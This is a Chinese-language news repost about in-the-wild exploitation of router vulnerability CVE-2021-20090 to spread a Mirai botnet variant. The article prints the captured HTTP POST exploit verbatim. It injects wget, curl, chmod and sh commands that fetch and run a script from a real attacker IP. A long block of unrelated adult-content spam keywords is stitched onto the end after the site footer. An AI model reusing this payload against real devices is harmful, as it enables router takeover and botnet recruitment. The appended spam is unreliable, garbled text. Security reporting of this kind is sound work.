《電子技術應用》
您所在的位置:首頁 > 通信與網絡 > 業界動態 > 9.9分漏洞在野利用

9.9分漏洞在野利用

2021-08-21
來源:嘶吼專業版
關鍵詞: 9.9分漏洞 路由器

  研究人員發現9.9分漏洞在野利用,數百萬路由器設備受到影響。

  CVE-2021-20090漏洞

  CVE-2021-20090漏洞是Tenable研究人員8月3日公開的包含Arcadyan固件的路由器web接口路徑遍歷漏洞,CVSS評分9.9分。漏洞影響數百萬家用路由器設備和其他使用有漏洞的代碼庫的物聯網設備,包括部分互聯網服務提供商在內的不少于17家廠商的產品受到影響。

  CVE-2021-20090漏洞是一個路徑遍歷漏洞,可能引發認證繞過。成功利用該漏洞后,攻擊者可以完全接管有漏洞的設備。比如,Tenable研究人員已經證明了如何在有漏洞的路由器上修改配置以啟用Telnet,并獲取訪問設備的root級shell訪問權限。

  cve-2021-20090漏洞的技術細節參見:

  https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2

  在野漏洞利用

  Juniper安全研究人員在監控一起惡意網絡活動流量時發現嘗試利用該漏洞的攻擊模式。攻擊者看似嘗試在受影響的路由器上使用腳本的方式來部署Mirai惡意軟件變種。

  研究人員從今年2月18日開始監控到該攻擊活動,原始的攻擊來源與IP地址27.22.80[.]19,通過HTTP POST方法:

  POST /images/%2fapply_abstract.cgi HTTP/1.1

  Connection: close

  User-Agent: Darkaction=start_ping&submit_button=ping.html&action_params=blink_time%3D5&ARC_ping_ipaddress=212.192.241.7%0A

  wget+http://212.192.241.72/lolol.sh;

  curl+-O+http://212.192.241.72/lolol.sh;

  chmod+777+lolol.sh;

  sh+lolol.sh&ARC_ping_status=0&TMP_Ping_Type=4

  從該POST 請求中可以看出,攻擊者修改了被攻擊設備的配置信息使用“ARC_SYS_TelnetdEnable=1”來啟用Telnet,然后使用wget或curl從IP 地址212.192.241[.]72 處下載一個新的腳本,然后執行。研究人員分析該腳本payload并確認是Mirai僵尸網絡變種。

  從6月6日到7月23日,研究人員發現攻擊者開始利用其它的漏洞:

  CVE-2020-29557 (DLink路由器)

  CVE-2021-1497 and CVE-2021-1498 (Cisco HyperFlex)

  CVE-2021-31755  (Tenda AC11)

  CVE-2021-22502 (MicroFocus OBR)

  CVE-2021-22506 (MicroFocus AM)

  這表明該攻擊組織正通過添加新的漏洞利用不斷擴展其攻擊活動。




電子技術圖片.png

本站內容除特別聲明的原創文章之外,轉載內容只為傳遞更多信息,并不代表本網站贊同其觀點。轉載的所有的文章、圖片、音/視頻文件等資料的版權歸版權所有權人所有。本站采用的非本站原創文章及圖片等內容無法一一聯系確認版權者。如涉及作品內容、版權和其它問題,請及時通過電子郵件或電話通知我們,以便迅速采取適當措施,避免給雙方造成不必要的經濟損失。聯系電話:010-82306118;郵箱:aet@chinaaet.com。
亚洲一区二区欧美_亚洲丝袜一区_99re亚洲国产精品_日韩亚洲一区二区
亚洲国产高清一区| 亚洲乱码精品一二三四区日韩在线 | 久久综合久久久| 欧美在线视频一区二区三区| 在线视频一区观看| 日韩一区二区精品视频| 亚洲日本激情| 亚洲精品1区2区| 亚洲区国产区| 亚洲美女在线观看| 亚洲精品自在在线观看| 99精品国产在热久久下载| 亚洲美女在线看| 一本一本a久久| 亚洲午夜精品久久久久久app| 一本高清dvd不卡在线观看| 99热免费精品| 亚洲一二三区在线| 亚洲综合色网站| 欧美一区二区三区免费大片| 午夜精品久久久久久久白皮肤| 亚洲欧美一区二区精品久久久| 亚洲免费视频网站| 欧美在线观看视频一区二区| 欧美与欧洲交xxxx免费观看| 久久国产日韩欧美| 久久亚洲春色中文字幕| 免费不卡在线观看| 欧美国产丝袜视频| 欧美视频在线免费| 国产精一区二区三区| 国产在线拍偷自揄拍精品| 精品1区2区3区4区| 亚洲激情av| 亚洲视频欧美视频| 欧美一区二区视频免费观看| 欧美伊人精品成人久久综合97| 久久激情五月丁香伊人| 亚洲人永久免费| 亚洲一卡久久| 久久国产一区| 欧美jizzhd精品欧美巨大免费| 欧美精品123区| 国产精品久久久一区麻豆最新章节 | 国产精品国产精品国产专区不蜜| 国产欧美精品一区二区三区介绍| 激情av一区| 亚洲精品美女免费| 亚洲伊人网站| 亚洲黑丝一区二区| 亚洲一区一卡| 久久一区二区视频| 欧美日韩在线一区二区| 国产欧美精品日韩精品| 在线观看91精品国产麻豆| 夜夜嗨av色一区二区不卡| 午夜免费在线观看精品视频| 亚洲片在线观看| 午夜伦理片一区| 欧美成人精品| 国产精品国产a级| 亚洲成人原创| 亚洲一区二区三区视频| 亚洲黄色av一区| 亚洲综合视频1区| 裸体素人女欧美日韩| 欧美日韩亚洲高清| 狠狠色香婷婷久久亚洲精品| 夜夜爽www精品| 亚洲国产精品黑人久久久| 亚洲一区二区综合| 欧美gay视频激情| 国产欧美韩日| 日韩一级在线观看| 亚洲国产精品视频一区| 午夜精品福利一区二区蜜股av| 欧美a级一区二区| 国产女主播一区二区三区| 亚洲日本中文字幕免费在线不卡| 午夜一级在线看亚洲| 一区二区国产在线观看| 另类天堂av| 国产美女精品免费电影| 日韩午夜在线电影| 亚洲欧洲精品一区二区精品久久久 | 亚洲性人人天天夜夜摸| 日韩一级网站| 麻豆亚洲精品| 国产一区二区久久| 亚洲视频在线视频| 亚洲精品一区二区三区婷婷月 | 久久九九热免费视频| 欧美吻胸吃奶大尺度电影| 在线精品亚洲| 西西裸体人体做爰大胆久久久| 一本一本久久a久久精品综合麻豆| 久久精品一二三区| 国产精品免费看片| 日韩亚洲欧美在线观看| 亚洲欧洲精品一区二区三区| 久久久天天操| 国产人成精品一区二区三| 中文精品一区二区三区| 一区二区三区四区蜜桃| 欧美aa国产视频| 尤物九九久久国产精品的特点| 午夜亚洲伦理| 欧美一区三区二区在线观看| 国产精品成人免费视频| 99这里有精品| 一区二区三区四区五区在线| 欧美另类人妖| 亚洲精品美女在线观看| 亚洲精品免费在线| 欧美成人精品| 亚洲激情精品| 日韩一区二区精品在线观看| 欧美激情久久久| 亚洲精品色图| 亚洲视频一二区| 欧美视频专区一二在线观看| 99在线热播精品免费| 亚洲视频一区在线| 欧美三级电影网| aa亚洲婷婷| 亚洲欧美日韩一区二区三区在线| 国产精品久久久久久久浪潮网站| 99精品欧美一区| 亚洲自拍都市欧美小说| 欧美日韩一卡| 亚洲天堂成人| 欧美一级免费视频| 国产一区91精品张津瑜| 久久9热精品视频| 免费看成人av| 亚洲精品欧洲精品| 亚洲一区二区少妇| 国产精品青草久久久久福利99| 亚洲伊人一本大道中文字幕| 欧美在线黄色| 国产一区二区三区不卡在线观看| 久久国产精品亚洲77777| 久久综合色一综合色88| 极品日韩久久| 99re这里只有精品6| 欧美日韩在线一区二区| 亚洲欧美成人一区二区在线电影| 久久精品国产免费| 影音先锋欧美精品| 一区二区三区成人| 国产精品永久免费| 久久精品国产一区二区三区| 欧美成人69| 一区二区电影免费在线观看| 欧美一区三区二区在线观看| 黄色一区二区在线观看| 99国产精品国产精品毛片| 欧美天堂亚洲电影院在线播放| 亚洲欧美一区二区三区极速播放| 久久久噜噜噜久久久| 亚洲二区免费| 亚洲欧美中日韩| 在线观看欧美日韩国产| 亚洲性人人天天夜夜摸| 国产一区二区三区网站| 亚洲精品中文在线| 国产精品一区二区久激情瑜伽| 久久国产精彩视频| 欧美人妖另类| 午夜精品美女久久久久av福利| 欧美成在线视频| 亚洲一区观看| 欧美成年视频| 午夜日韩激情| 欧美剧在线免费观看网站| 亚洲欧美不卡| 欧美精品亚洲精品| 欧美一站二站| 欧美体内谢she精2性欧美| 亚洲高清成人| 欧美性猛交视频| 亚洲国产精品激情在线观看| 国产精品九九久久久久久久| 亚洲福利视频二区| 国产精品久久久久国产精品日日| 亚洲国产精品va在线观看黑人| 欧美三级视频在线| 亚洲国产精品va在看黑人| 国产精品国产一区二区| 亚洲精品一品区二品区三品区| 国产精品日韩电影| 亚洲美女av网站| 狠狠色噜噜狠狠色综合久| 亚洲一区三区视频在线观看 | 亚洲激情另类| 国产精品一页| 亚洲少妇自拍| 亚洲国产人成综合网站| 久久久久亚洲综合| 亚洲永久在线|